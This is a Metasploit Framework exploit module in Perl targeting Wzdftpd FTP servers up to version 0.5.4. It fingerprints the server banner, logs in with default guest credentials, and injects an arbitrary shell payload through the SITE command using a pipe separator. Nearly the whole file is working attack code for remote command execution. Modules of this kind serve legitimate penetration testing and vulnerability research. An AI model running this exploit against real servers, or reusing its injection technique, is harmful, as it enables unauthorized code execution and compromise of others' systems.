##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wzdftpd_site;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info = {
'Name' => 'Wzdftpd SITE Command Arbitrary Command Execution',
'Version' => '$Revision: 1.3 $',
'Authors' => [ 'David Maciejak <david dot maciejak at kyxar dot fr>' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 21],
'USER' => [1, 'DATA', 'Username', 'guest'],
'PASS' => [1, 'DATA', 'Password', '%'],
'SITECMD'=> [1, 'DATA', 'Custom site command'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary command execution vulnerability in Wzdftpd
threw SITE command. Wzdftpd version to 0.5.4 are vulnerable.
}),
'Refs' =>
[
['BID', '14935'],
],

'Payload' =>
{
'Space' => 128,
'Keys' => ['cmd','cmd_bash'],
},

'Keys' => ['wzdftpd_site'],

'DisclosureDate' => 'Sep 24 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}
my $res = $s->Recv(-1, 5);
$s->Close();

if (! $res) {
$self->PrintLine("[*] No FTP banner");
return $self->CheckCode('Unknown');
}

if ($res =~ /220 wzd server ready/)
{
$self->PrintLine("[*] FTP Server is a wzdftpd server");
return $self->CheckCode('Appears');
}
else
{
$self->PrintLine("[*] FTP Server is probably not vulnerable");
return $self->CheckCode('Safe');
}
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $custom_site_cmd =$self->GetVar('SITECMD');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $cmd = $encodedPayload->RawPayload;
my $user = $self->GetVar('USER');
my $pass = $self->GetVar('PASS');

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);

if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine("[*] Establishing a connection to the FTP server ...");

$s->Send("USER ".$user);

my $result = $s->Recv(-1, 20);
if (!($result=~/\d{3} User .+ okay, need password/))
{
$self->PrintLine("[*] Invalid user");
return;
}

$s->Send("PASS ".$pass);
$result = $s->Recv(-1, 20);

if (!($result=~/\d{3} User logged in/))
{
$self->PrintLine("[*] Invalid password");
return;
}

$s->Send("SITE ".$custom_site_cmd." | $cmd;");
$result = $s->Recv(-1, 20);
if (!($result=~/^200/))
{
$self->PrintLine("[*] Error: $result");
return;
}

$self->PrintLine('');
my @results = split ( /\n/, $result );
chomp @results;
for (my $i = 1; $i < @results -1; $i++){
$self->PrintLine("$results[$i]");
}
return;
}